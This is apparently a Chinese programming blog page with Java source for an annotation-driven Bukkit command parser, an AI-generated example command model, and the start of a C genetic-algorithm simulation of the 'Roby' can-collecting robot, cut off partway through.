import org.bukkit.World;
import org.bukkit.command.CommandSender;
import org.bukkit.command.PluginCommand;
import org.bukkit.command.TabExecutor;
import org.bukkit.entity.Player;
import org.bukkit.help.HelpTopic;
import org.bukkit.util.StringUtil;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;

import java.io.IOException;
import java.lang.annotation.Annotation;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.stream.Collectors;

public class CommandBinder implements TabExecutor { // TODO text

    private final List<ParsedCommand> commands = new ArrayList<>();
    private final String messagePrefix;
    private final StringBuilder helpText = new StringBuilder();
    private final List<List<Object>> routeRaw = new ArrayList<>();
    private final Map<String, Completer> customCompleters = new HashMap<>();
    private static final List<Method> toBeWrappedMethods = new ArrayList<>();

    public CommandBinder(String rootCommand, String messagePrefix) {
        this.messagePrefix = messagePrefix;
//        Bukkit.getPluginCommand(rootCommand).setExecutor(this);
//        Bukkit.getPluginCommand(rootCommand).setTabCompleter(this);
    }

    public CommandBinder bind(CommandModel model) {
        bind0(new BasicCommandModel(), new String[0]);
        bind0(model, new String[0]);
        parseTabComplete();
        return this;
    }

    @SuppressWarnings("unused")
    public CommandBinder bindCompleter(String parameterId, Completer completer) {
        customCompleters.put(parameterId, completer);
        return this;
    }

    public boolean parse(CommandSender sender, String label, String @NotNull [] args) {
        if (args.length == 0) {
            args = new String[]{"help"}; //重定向到 help
        }
        ParsedCommand entry;
        try {
            entry = findEntry(args);
        } catch (NoSuchCommandException e) {
            sender.sendMessage(messagePrefix + ChatColor.RED + e.getMessage());
            return false;
        }
        String[] realArgs = Arrays.copyOfRange(args, entry.getRoute().size(), args.length);
        if (sender instanceof Player) {
            if (Arrays.stream(entry.getPermissions()).anyMatch(permission -> !sender.hasPermission(permission))) {
                sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 权限不足.");
                return false;
            }
        } else if (entry.isPlayerSenderRequired()) {
            sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 该命令只能由玩家执行.");
            return false;
        }
        int optionalCount = 0;
        if (realArgs.length != entry.getParameters().size()) {  //TODO bind时计算
            for (Parameter arg : entry.getParameters()) {
                if (arg.isOptional()) {
                    optionalCount++;
                }
            }
            if (entry.getParameters().get(entry.getParameters().size() - 1).getType().isArray()) {
                if (realArgs.length < entry.getParameters().size() - optionalCount) {
                    sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数长度有误, 需要至少 %d / 提供 %d.",
                            entry.getParameters().size() - optionalCount,
                            realArgs.length));
                    return false;
                }
            } else {
                if (optionalCount == 0) {
                    sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数长度有误, 需要 %d / 提供 %d.",
                            entry.getParameters().size(),
                            realArgs.length));
                    return false;
                }
                int requiredLength = entry.getParameters().size() - optionalCount;
                if (realArgs.length < requiredLength) {
                    sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数长度有误, 需要 %d 至 %d / 提供 %d.",
                            requiredLength,
                            entry.getParameters().size(),
                            realArgs.length));
                    return false;
                }
            }
        }
        String[] fullCommandLine = new String[args.length + 1]; // 用于报错
        fullCommandLine[0] = "/" + label;
        System.arraycopy(args, 0, fullCommandLine, 1, args.length);
        int i = 0;
        boolean arrayParameterPresented = false;
        List<Object> parsedArgs = new ArrayList<>();
        Parameter parameter;
        Class<?> type;
        Object value;
        for (String arg : realArgs) {
            parameter = entry.getParameters().get(i);
            type = parameter.getType();
            if (type.isArray()) {
                arrayParameterPresented = true;
                ArrayList<Object> parsedArray = new ArrayList<>();
                for (; i < realArgs.length; i++) { //主动 index 由预处理 parameter 变为用户传入 argument
                    try {
                        if (String[].class.equals(type)) {
                            parsedArray.add(realArgs[i]);
                        } else {
                            Object arrayElementValue = type.getComponentType().getMethod("valueOf", String.class)
                                    .invoke(null, realArgs[i]); // 静态方法无需依赖对象, 故传null.
                            if (isNumberClass(type.getComponentType()) && (((Number) arrayElementValue).longValue() < parameter.getMin() ||
                                    ((Number) arrayElementValue).longValue() > parameter.getMax())) { //忽略此警告, 因为参数类型已经确定
                                sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s[%d] 的值超出范围 ([%d, %d]).",
                                        parameter.getName(),
                                        i - entry.getParameters().size() + 1,
                                        parameter.getMin(),
                                        parameter.getMax()));
                                sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                                sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                                return false;
                            }
                            parsedArray.add(arrayElementValue);
                        }
                    } catch (IllegalAccessException | NoSuchMethodException e) {
                        sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x01).");
                        e.printStackTrace();
                        return false;
                    } catch (InvocationTargetException e) {
                        if (type.getComponentType().isEnum()) {
                            sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s[%d] 的值只能为 %s 之一",
                                    parameter.getName(),
                                    i - entry.getParameters().size() + 1,
                                    Util.simplify(Arrays.toString(Util.getOptions(type.getComponentType())))));
                            sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                            sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                        } else {
                            if (isNumberClass(type.getComponentType()) && StringUtils.isNumeric(realArgs[i])) {
                                if (parameter.getMin() != Long.MIN_VALUE || parameter.getMax() != Long.MAX_VALUE) {
                                    sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s[%d] 的值超出范围 ([%d, %d]).",
                                            parameter.getName(),
                                            i - entry.getParameters().size() + 1,
                                            parameter.getMin(),
                                            parameter.getMax()));
                                } else {
                                    try {
                                        sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s[%d] 的值超出范围 ([%d, %d]).",
                                                parameter.getName(),
                                                i - entry.getParameters().size() + 1,
                                                type.getComponentType().getField("MIN_VALUE").get(null), //忽略此警告, 因为参数类型已经确定
                                                type.getComponentType().getField("MAX_VALUE").get(null))); //忽略此警告, 因为参数类型已经确定
                                    } catch (IllegalAccessException | NoSuchFieldException ex) {
                                        sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x03).");
                                        e.printStackTrace();
                                        return false;
                                    }
                                } // TODO 不必要的 if bind 时处理
                            } else {
                                sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 传入参数 %s[%d] 类型有误, 应为 %s.",
                                        parameter.getName(),
                                        i - entry.getParameters().size() + 1,
                                        humanReadableTypeName(type.getComponentType())));
                            }
                            sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                            sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                        }
                        return false;
                    }
                }
                parsedArgs.add(parsedArray.toArray((Object[]) Array.newInstance(type.getComponentType(), 0))); // 转换为对应类型数组并添加至参数列表
                break;
            }
            try {
                if (String.class.equals(type)) {
                    value = arg;
                } else {
                    value = type.getMethod("valueOf", String.class).invoke(null, arg); // 静态方法无需依赖对象, 故传null.
                }
            } catch (IllegalAccessException | NoSuchMethodException e) {
                sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x01).");
                e.printStackTrace();
                return false;
            } catch (InvocationTargetException e) {
                if (type.isEnum()) {
                    sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s 的值只能为 %s 之一",
                            parameter.getName(),
                            Util.simplify(Arrays.toString(Util.getOptions(type)))));
                    sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                    sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                } else {
                    if (isNumberClass(type) && StringUtils.isNumeric(arg)) {
                        if (parameter.getMin() != Long.MIN_VALUE || parameter.getMax() != Long.MAX_VALUE) {
                            sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s 的值超出范围 ([%d, %d]).",
                                    parameter.getName(),
                                    parameter.getMin(),
                                    parameter.getMax()));
                        } else {
                            try {
                                sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s 的值超出范围 ([%d, %d]).",
                                        parameter.getName(),
                                        type.getField("MIN_VALUE").get(null), //忽略此警告, 因为参数类型已经确定
                                        type.getField("MAX_VALUE").get(null))); //忽略此警告, 因为参数类型已经确定
                            } catch (IllegalAccessException | NoSuchFieldException ex) {
                                sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x03).");
                                e.printStackTrace();
                                return false;
                            }
                        } // TODO 不必要的 if bind 时处理
                    } else {
                        sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 传入参数 %s 类型有误, 应为 %s.",
                                parameter.getName(),
                                humanReadableTypeName(type)));
                    }
                    sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                    sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                }
                return false;
            }
            if (isNumberClass(type) && (((Number) value).longValue() < parameter.getMin() ||
                    ((Number) value).longValue() > parameter.getMax())) { //忽略此警告, 因为参数类型已经确定
                sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s 的值超出范围 ([%d, %d]).",
                        parameter.getName(),
                        parameter.getMin(),
                        parameter.getMax()));
                sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                return false;
            }
            parsedArgs.add(value);
            i++;
        }
        //填充可选参数null
        if (!arrayParameterPresented) {
            for (; i < entry.getParameters().size(); i++) {
                parsedArgs.add(null);
            }
        }
        entry.getModelObject().sender = sender; // 无需考虑线程安全
        entry.getModelObject().label = label;
        try {
            return (boolean) entry.getHandler().invoke(entry.getModelObject(), parsedArgs.toArray());
        } catch (IllegalAccessException e) {
            sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x02).");
            e.printStackTrace();
            return false;
        } catch (InvocationTargetException e) {
            sender.sendMessage(
                    messagePrefix + ChatColor.RED + String.format("错误: 在执行命令时出现问题 (%s), 请报告给服务器管理员.",
                            e.getCause()));
            e.printStackTrace();
            return false;
        }
    }

    private void bind0(@NotNull CommandModel model, String @NotNull [] baseRoute) {
        Class<? extends CommandModel> modelClass = model.getClass();
        if (baseRoute.length != 0 && modelClass.isAnnotationPresent(Help.class)) {
            helpText.append("=== ")
                    .append(Util.simplify(Arrays.toString(baseRoute)))
                    .append(" - ")
                    .append(modelClass.getAnnotation(Help.class).value())
                    .append(" ===")
                    .append("\n");
        }
        boolean helped = false;
        command:
        for (Method method : modelClass.getMethods()) {
            if (!method.isAnnotationPresent(Command.class)) {
                continue;
            }
            if (!boolean.class.equals(method.getReturnType())) {
                MessageUtil.error(String.format("在类 %s 中的方法 %s 的返回值类型必须为 boolean.",
                        modelClass.getSimpleName(),
                        method.getName()));
                continue;
            }
            Command commandAnnotation = method.getAnnotation(Command.class);
            if (commandAnnotation.value().isEmpty()) {
                MessageUtil.error(String.format("在类 %s 中的方法 %s 的 @Command 中没有指定命令路径.",
                        modelClass.getSimpleName(),
                        method.getName()));
                continue;
            }

            for (java.lang.reflect.Parameter parameter : method.getParameters()) {
                if (Location.class.equals(parameter.getType())) {
                    toBeWrappedMethods.add(method);
                    JavaStringCompiler javaStringCompiler = new JavaStringCompiler();
                    StringBuilder code = new StringBuilder("public class A extends net.polarmc.bukkitplugin.poleax.kit.command.CommandModel{public boolean wrapped");
                    code.append(method.getName());
                    code.append("(");
                    for (java.lang.reflect.Parameter parameter1 : method.getParameters()) {
                        if (parameter1.getType().equals(Location.class)) {
                            code.append("@net.polarmc.bukkitplugin.poleax.kit.command.annotation.Para(\"x\")Double x,@net.polarmc.bukkitplugin.poleax.kit.command.annotation.Para(\"y\")Double y,@net.polarmc.bukkitplugin.poleax.kit.command.annotation.Para(\"z\")Double z,");
                            continue;
                        }
                        code.append(generateParameterDeclaration(parameter1)).append(",");
                    }
                    code.deleteCharAt(code.length() - 1);
                    code
                            .append(")throws java.lang.IllegalAccessException, java.lang.reflect.InvocationTargetException{")
                            .append("org.bukkit.Location $l;")
                            .append("if(sender instanceof org.bukkit.entity.Entity)$l=new org.bukkit.Location(((org.bukkit.entity.Entity)sender).getLocation().getWorld(),x,y,z);")
                            .append("else $l=new org.bukkit.Location(null,x,y,z);")
                            .append("return (boolean) net.polarmc.bukkitplugin.poleax.kit.command.parser.CommandBinder.getToBeWrappedMethod(")
                            .append(toBeWrappedMethods.indexOf(method))
                            .append(").invoke(this,");
                    for (java.lang.reflect.Parameter parameter1 : method.getParameters()) {
                        if (parameter1.getType().equals(Location.class)) {
                            code.append("$l,");
                            continue;
                        }
                        code.append(parameter1.getName()).append(",");
                    }
                    code.deleteCharAt(code.length() - 1);
                    code.append(");}}");
                    Map<String, byte[]> results;
                    Class<?> wrappedMethodClass;
                    try {
                        results = javaStringCompiler.compile("A.java", code.toString());
                    } catch (IOException e) {
                        e.printStackTrace(); //TODO 异常处理
                        return;
                    }
                    try {
                        wrappedMethodClass = javaStringCompiler.loadClass("A", results);
                    } catch (ClassNotFoundException | IOException e) {
                        e.printStackTrace(); //TODO 异常处理
                        return;
                    }
                    method = wrappedMethodClass.getDeclaredMethods()[0];
                }
            }

            ParsedCommand.Builder command = new ParsedCommand.Builder();
            command.appendRoute(baseRoute);
            command.appendRoute(commandAnnotation.value().split(" "));
            if (method.isAnnotationPresent(Permission.class)) {
                command.setPermissions(method.getAnnotation(Permission.class).value());
            } else if (method.isAnnotationPresent(PlayerSenderRequired.class) ||
                    modelClass.isAnnotationPresent(PlayerSenderRequired.class)) {
                command.setPlayerSenderRequired(true);
            }
            if (method.isAnnotationPresent(Help.class)) {
                helped = true;
                command.setDescription(method.getAnnotation(Help.class).value());
            }
            command.setHandler(method);
            command.setModelObject(model);
            boolean hasOptionalParameterPresented = false;
            String parameterName;
            Class<?> parameterType;
            for (java.lang.reflect.Parameter parameter : method.getParameters()) {
                parameterName = getParameterName(parameter);
                if (parameterName == null) {
                    MessageUtil.error(String.format("在类 %s 中的方法 %s 的参数 %s 没有指定命名. (使用 @Para 注解或在编译时使用 -parameters 选项)",
                            modelClass.getSimpleName(),
                            method.getName(),
                            parameter.getName()));
                    continue command;
                }
                parameterType = parameter.getType();
                if (parameterType.isArray()) { // TODO 考虑数组类型可能不是可变参数
                    if (hasOptionalParameterPresented) {
                        MessageUtil.error(
                                String.format("在类 %s 中的方法 %s 中的可选 (@Optional) 参数与可变参数不可同时存在.",
                                        modelClass.getSimpleName(),
                                        method.getName()));
                        continue command;
                    }
                    if (parameterType.getComponentType().isEnum() && Util.getOptions(parameterType.getComponentType()).length == 1) {
                        MessageUtil.error(String.format("在类 %s 中的方法 %s 中的枚举类型可变参数 %s 的枚举项数必须大于一",
                                modelClass.getSimpleName(),
                                method.getName(),
                                parameterName));
                        continue command;
                    }
                    try {
                        if (!String[].class.equals(parameterType)) {
                            parameterType.getComponentType().getMethod("valueOf", String.class);
                        }
                    } catch (NoSuchMethodException e) {
                        MessageUtil.error(String.format(
                                "在类 %s 中的方法 %s 的参数 %s 的数组的组成类型不包含静态方法 valueOf(String), 无法应用于命令参数 (不要使用基本类型数组).",
                                modelClass.getSimpleName(),
                                method.getName(),
                                parameterName));
                        continue command;
                    }
                } else {
                    try {
                        if (!String.class.equals(parameterType)) {
                            parameterType.getMethod("valueOf", String.class);
                        }
                    } catch (NoSuchMethodException e) {
                        MessageUtil.error(
                                String.format("在类 %s 中的方法 %s 的参数 %s 的类型不包含静态方法 valueOf(String), 无法应用于命令参数 (不要使用基本类型).",
                                        modelClass.getSimpleName(),
                                        method.getName(),
                                        parameterName));
                        continue command;
                    }
                }
                Parameter.Builder parameterBuilder = new Parameter.Builder();
                if (parameter.isAnnotationPresent(Optional.class)) {
                    hasOptionalParameterPresented = true;
                    parameterBuilder.setOptional(true);
                } else if (hasOptionalParameterPresented) {
                    MessageUtil.error(String.format("在类 %s 中的方法 %s 中的可选 (@Optional) 参数必须在所有参数中的末尾位置.",
                            modelClass.getSimpleName(),
                            method.getName()));
                    continue command;
                }
                if (parameter.isAnnotationPresent(Tab.class)) {
                    TabType tabType = parameter.getAnnotation(Tab.class).value();
                    parameterBuilder.setTabType(tabType);
                    if (tabType == TabType.COMMAND && !parameterType.isArray()) {
                        MessageUtil.error(String.format("在类 %s 中的方法 %s 的命令 (@Tab(TabType.COMMAND)) 参数 %s 必须是数组类型.",
                                modelClass.getSimpleName(),
                                method.getName(),
                                parameterName));
                        continue command;
                    }
                }
                if (parameter.isAnnotationPresent(CustomTab.class)) {
                    parameterBuilder.setCustomParameterId(parameter.getAnnotation(CustomTab.class).value());
                }
                if (parameter.isAnnotationPresent(Range.class)) {
                    if (isNumberClass(parameterType) || (parameterType.getComponentType() != null && isNumberClass(parameterType.getComponentType()))) {
                        parameterBuilder
                                .setMin(parameter.getAnnotation(Range.class).min())
                                .setMax(parameter.getAnnotation(Range.class).max());
                    } else {
                        MessageUtil.error(String.format("在类 %s 中的方法 %s 的参数 %s 的类型不是数字类型, 无法应用于命令参数 (不要使用基本类型).",
                                modelClass.getSimpleName(),
                                method.getName(),
                                parameterName));
                        continue command;
                    }
                }
                parameterBuilder
                        .setName(parameterName)
                        .setType(parameterType);
                command.addParameter(parameterBuilder.build());
            }
            ParsedCommand result = command.build();
            if (helped) {
                helpText.append("/")
                        .append("%label")
                        .append(" ")
                        .append(result.toString())
                        .append(" - ")
                        .append(result.getDescription())
                        .append("\n");
                helped = false;
            } else {
                helpText.append("/")
                        .append("%label")
                        .append(" ")
                        .append(result.toString())
                        .append("\n");
            }
            commands.add(result);
        }
        for (Class<?> subModelClass : modelClass.getClasses()) {
            if (CommandModel.class.isAssignableFrom(subModelClass)
                    && subModelClass.isAnnotationPresent(Command.class)) {
                try {
                    String[] subRoute = subModelClass.getAnnotation(Command.class).value().split(" ");
                    bind0((CommandModel) subModelClass.newInstance(), Util.mergeStringArray(baseRoute, subRoute));
                } catch (IllegalAccessException | InstantiationException e) {
                    e.printStackTrace();
                }
            }
        }
    }

    private @NotNull ParsedCommand findEntry(String[] args) throws NoSuchCommandException {
        String lastTrial = null; // 用于"找不到命令..."报错.
        outer:
        for (ParsedCommand commandHandler : commands) {
            if (args.length < commandHandler.getRoute().size()) {
                continue;
            }
            int i = 0;
            for (String label : commandHandler.getRoute()) {
                if (!label.equals(args[i])) {
                    if (i != 0) {
                        lastTrial = args[i];
                    }
                    continue outer;
                }
                i++;
            }
            return commandHandler;
        }
        if (lastTrial == null) {
            throw new NoSuchCommandException("找不到命令: " + args[0]);
        } else {
            throw new NoSuchCommandException("找不到命令: " + lastTrial);
        }
    }

    private void parseTabComplete() {
        for (ParsedCommand command : commands) {
            ArrayList<Object> fullRoute = new ArrayList<>();
            fullRoute.addAll(command.getRoute());
            fullRoute.addAll(command.getParameters());
            routeRaw.add(fullRoute);
        }
    }

    private boolean checkType(String input, Class<?> type) throws NoSuchMethodException, IllegalAccessException {
        if (String.class.equals(type) || String[].class.equals(type) || type.isEnum() || (type.getComponentType() != null && type.getComponentType().isEnum())) {
            return true;
        }
        if (type.isEnum() || (type.getComponentType() != null && type.getComponentType().isEnum())) {
            return true;
        }
        try {
            type.getMethod("valueOf", String.class).invoke(null, input);
        } catch (InvocationTargetException e) {
            return false;
        }
        return true;
    }

    private boolean isNumberClass(Class<?> type) {
        return Number.class.isAssignableFrom(type);
    }

    private @NotNull String argsToString(String @NotNull [] args) {
        StringBuilder builder = new StringBuilder();
        for (String arg : args) {
            builder.append(arg).append(" ");
        }
        return builder.toString().trim();
    }

    private @NotNull String generateErrorWavyUnderline(String @NotNull [] args, int errorIndex) {
        StringBuilder builder = new StringBuilder();
        for (int i = 0; i < args.length; i++) {
            for (int j = 0; j < args[i].length(); j++) {
                if (i == errorIndex) {
                    builder.append("~");
                } else {
                    builder.append(" ");
                }
            }
            builder.append(" ");
        }
        return builder.toString();
    } // TODO 更换实现方式 (双s)

    private @NotNull String humanReadableTypeName(Class<?> type) {
        if (isNumberClass(type)) {
            if (Double.class.equals(type) || Float.class.equals(type)) { // 不可能为基本类型
                return "小数";
            }
            return "整数";
        }
        // 不可能为字符串
        return type.getSimpleName();
    }

    private @NotNull String generateParameterDeclaration(java.lang.reflect.Parameter parameter) {
        StringBuilder builder = new StringBuilder("@net.polarmc.bukkitplugin.poleax.kit.command.annotation.Para(\"");
        builder.append(getParameterName(parameter)).append("\") ");
        for (Annotation declaredAnnotation : parameter.getDeclaredAnnotations()) {
            builder.append(declaredAnnotation.annotationType().getCanonicalName()).append(" ");
        }
        builder.append(parameter.getType().getCanonicalName()).append(" ").append(parameter.getName());
        return builder.toString();
    }

    private @Nullable String getParameterName(java.lang.reflect.Parameter parameter) {
        if (parameter.isNamePresent()) {
            return parameter.getName();
        } else if (parameter.isAnnotationPresent(Para.class)) {
            return parameter.getAnnotation(Para.class).value();
        } else {
            return null;
        }
    }

    @Override
    public boolean onCommand(CommandSender sender, org.bukkit.command.Command command, String label, String[] args) {
        return parse(sender, label, args);
    }

    @Override
    public List<String> onTabComplete(CommandSender sender, org.bukkit.command.Command command, String alias,
                                      String[] args) {
        int i;
        List<String> result = new ArrayList<>();
        List<List<Object>> copy = new ArrayList<>(routeRaw);
        List<List<Object>> removeQueue = new ArrayList<>(); //删除与遍历不能并行操作
        for (List<Object> route : copy) {
            if (copy.size() == 1) {
                break;
            }
            i = 0;
            for (Object arg : route) {
                if (i >= args.length) {
                    break;
                }
                if (arg instanceof String && !StringUtil.startsWithIgnoreCase((String) arg, args[i])) {
                    removeQueue.add(route);
                    break;
                }
                if (arg instanceof Parameter) {
                    try {
                        Class<?> type = ((Parameter) arg).getType();
                        if (!checkType(args[i], type)) {
                            removeQueue.add(route);
                            break;
                        }
                    } catch (NoSuchMethodException | IllegalAccessException e) {
                        sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x01).");
                        e.printStackTrace();
                        return new ArrayList<>(0);
                    }
                }
                i++;
            }
        }
        copy.removeAll(removeQueue);
        for (List<Object> route : copy) {
            Object temp = null;
            Object tail = route.get(route.size() - 1);
            if (tail instanceof Parameter && ((Parameter) tail).getType().isArray()) {
                if (route.size() < args.length) {
                    temp = tail;
                }
                if (route.size() >= args.length) {
                    temp = route.get(args.length - 1);
                }
            } else {
                if (route.size() < args.length) {
                    continue;
                }
                temp = route.get(args.length - 1);
            }
            if (temp instanceof String) {
                result.add((String) temp);
            } else if (temp instanceof Parameter) {
                if (((Parameter) temp).getCustomParameterId() != null) {
                    Completer completerFunction = customCompleters.get(((Parameter) temp).getCustomParameterId());
                    if (completerFunction != null) {
                        result.addAll(completerFunction.complete());
                    } else {
                        MessageUtil.error(String.format("未找到自定义 Tab 补全方法: %s.", ((Parameter) temp).getCustomParameterId()));
                        return result;
                    }
                }
                Class<?> type = ((Parameter) temp).getType();
                TabType tabType = ((Parameter) temp).getTabType();
                if (type == Boolean.class || (type.getComponentType() != null && type.getComponentType() == Boolean.class)) { // 不可能为基本类型
                    result.add("true");
                    result.add("false");
                } else if (type.isEnum() || (type.getComponentType() != null && type.getComponentType().isEnum())) {
                    result.addAll(Arrays.asList(Util.getOptions(type)));
                } else if (tabType == TabType.PLAYER) {
                    StringUtil.copyPartialMatches(args[args.length - 1], Bukkit.getOnlinePlayers().stream().map(Player::getName).collect(Collectors.toList()), result);
                } else if (tabType == TabType.WORLD) {
                    StringUtil.copyPartialMatches(args[args.length - 1], Bukkit.getWorlds().stream().map(World::getName).collect(Collectors.toList()), result);
                } else if (tabType == TabType.COMMAND) {
                    List<String> commands = new ArrayList<>();
                    for (HelpTopic cmdLabel : Bukkit.getServer().getHelpMap().getHelpTopics()) { //TODO 取消在此获取
                        commands.add(cmdLabel.getName().replace("/", ""));
                    }
                    if (args.length == route.size()) {
                        StringUtil.copyPartialMatches(args[args.length - 1], commands, result);
                    } else {
                        PluginCommand targetCommand = Bukkit.getPluginCommand(args[route.size() - 1].replace("/", "")); //之前已确保 TabType.COMMAND 参数是最后一个参数
                        if (targetCommand != null) {
                            result.addAll(targetCommand.tabComplete(sender, args[route.size() - 1], Arrays.copyOfRange(args, route.size(), args.length)));
                        }
                    }
                }
            }
        }
        return result;
    }

    private class BasicCommandModel extends CommandModel {

        @SuppressWarnings("unused")
        @Command("help")
        @Help("显示命令帮助")
        public boolean help() {
            sender.sendMessage(helpText.toString().replace("%label", label).trim());
            return true;
        }

    }

    @SuppressWarnings("unused")
    public static Method getToBeWrappedMethod(int index) {
        return toBeWrappedMethods.get(index);
    }

}

最终达成的效果是可以像这样编写命令处理函数而无需从字符串数组开始处理,类似另一个更加成熟且仍在更新的开源插件 ACF。(懒了,用 AI 生成一个用例。)

// Generated by Claude Opus 4.6

import net.polarmc.bukkitplugin.poleax.kit.command.CommandModel;
import net.polarmc.bukkitplugin.poleax.kit.command.annotation.*;
import org.bukkit.Location;

@Help("示例命令组")
@PlayerSenderRequired
public class ExampleModel extends CommandModel {

    // 自定义枚举, 用于演示枚举参数与枚举数组参数
    public enum Mode { NORMAL, FAST, SLOW }

    // 1. 无参命令 + @Help + @Permission
    @Command("info")
    @Help("显示信息")
    @Permission({"example.info", "example.admin"})
    public boolean info() {
        sender.sendMessage("label=" + label);
        return true;
    }

    // 2. 基本类型参数 + @Para命名 + @Range范围限制 + @Tab玩家补全
    @Command("give")
    @Help("给予物品")
    public boolean give(
            @Para("玩家") @Tab(TabType.PLAYER) String target,
            @Para("数量") @Range(min = 1, max = 64) Integer amount
    ) {
        sender.sendMessage("give " + target + " x" + amount);
        return true;
    }

    // 3. @Optional可选参数 + 枚举参数 + Double类型
    @Command("set mode")
    @Help("设置模式")
    public boolean setMode(
            @Para("模式") Mode mode,
            @Para("倍率") @Optional Double multiplier
    ) {
        sender.sendMessage("mode=" + mode + " mul=" + multiplier);
        return true;
    }

    // 4. @Tab(WORLD) 世界补全 + Boolean参数
    @Command("tp world")
    @Help("传送到世界")
    @PlayerSenderRequired
    public boolean tpWorld(
            @Para("世界") @Tab(TabType.WORLD) String world,
            @Para("安全") @Optional Boolean safe
    ) {
        return true;
    }

    // 5. Location参数 (自动展开为x,y,z) + @Tab(COMMAND)命令数组补全
    @Command("exec at")
    @Help("在指定位置执行命令")
    public boolean execAt(
            @Para("位置") Location loc,
            @Para("命令") @Tab(TabType.COMMAND) String[] cmd
    ) {
        sender.sendMessage("loc=" + loc + " cmd=" + String.join(" ", cmd));
        return true;
    }

    // 6. 数组可变参数 + @Range + @CustomTab自定义补全
    @Command("sum")
    @Help("求和")
    public boolean sum(
            @Para("数字") @Range(min = 0, max = 1000) @CustomTab("numberHints") Integer[] numbers
    ) {
        int s = 0;
        for (Integer n : numbers) s += n;
        sender.sendMessage("sum=" + s);
        return true;
    }

    // 7. 枚举数组可变参数
    @Command("modes")
    @Help("设置多个模式")
    public boolean modes(@Para("模式列表") Mode[] modes) {
        return true;
    }

    // 8. 内部类作为子命令组 (@Command on TYPE)
    @Command("admin")
    @Help("管理员命令组")
    @PlayerSenderRequired
    public static class AdminSubModel extends CommandModel {

        @Command("reload")
        @Help("重载配置")
        @Permission({"example.admin"})
        public boolean reload() {
            sender.sendMessage("reloaded");
            return true;
        }

        @Command("debug")
        @Help("调试信息")
        public boolean debug(@Para("详细") @Optional Boolean verbose) {
            msg("debug verbose=" + verbose); // 使用继承的 msg()
            return true;
        }
    }
}

《复杂》捡罐子机器人 Roby —— C 语言实现

高中时读到一本书叫《复杂》(Complexity),讲的是大量的简单个体表现出的复杂行为。似乎是目前 LLM 的理论基础之一?虽然很喜欢这本书但我现在没在做 LLM 相关的工作(不太符合我对计科的想象)。书中有一个例子是一种假想的机器人 Roby 在 2D 网格中移动,它只能看见自己前后左右以及脚下这五个格子。地图中某些格子会有一个“罐子”,地图边界是不能通过的墙壁。使用遗传算法机器学习反复模拟即可得到连人类也难以想出的策略,而这些“策略”只是一串数字。

// SPDX-License-Identifier: MIT
// Copyright (c) 2023 rik

#define _GNU_SOURCE

#include <assert.h>
#include <math.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define WIDTH 10
#define HEIGHT 10
#define CANS 50
static_assert(CANS <= WIDTH * HEIGHT, "Too many cans");
#define RULES 200
#define EPOCHS 1000
#define STEPS 200
#define EXECS 100
#define MIXES 2
#define WEIGHT M_E

#define PICK_UP_CAN_REWARD 10
#define PICK_UP_AIR_PUNISH -1
#define KICK_WALL_PUNISH -5

#define PROGRESS_BAR_UNITS 10
static_assert(!(EPOCHS % PROGRESS_BAR_UNITS),
              "EPOCHS is not divisible by PROGRESS_BAR_UNITS");
#define WEIGHTED(X, MAX)                                                       \
    ((size_t)(powf(WEIGHT, -((float)(X) / MAX * (logf(MAX) / logf(WEIGHT)))) *    \
              (MAX)) -                                                         \
     1)
#define _SITUATIONS 243
#define _ACTIONS 7
#define _DIRECTIONS 4

enum action {
    move_north,
    move_south,
    move_east,
    move_west,
    stand_still,
    pick_up,
    move_random,
};

struct result {
    enum action rule[_SITUATIONS];
    long score;
};

struct history {
    long strategy[_SITUATIONS][_ACTIONS][PROGRESS_BAR_UNITS];
    enum action best_rule[_SITUATIONS];
    long best_score;
};

// static uint64_t state = 0x853c49e6748fea9bULL;

// static uint32_t fast_rand(void) {
//     uint64_t oldstate = state;
//     state = oldstate * 6364136223846793005ULL + 0xda3e39cb94b95bdbULL;
//     uint32_t xorshifted = ((oldstate >> 18u) ^ oldstate) >> 27u;
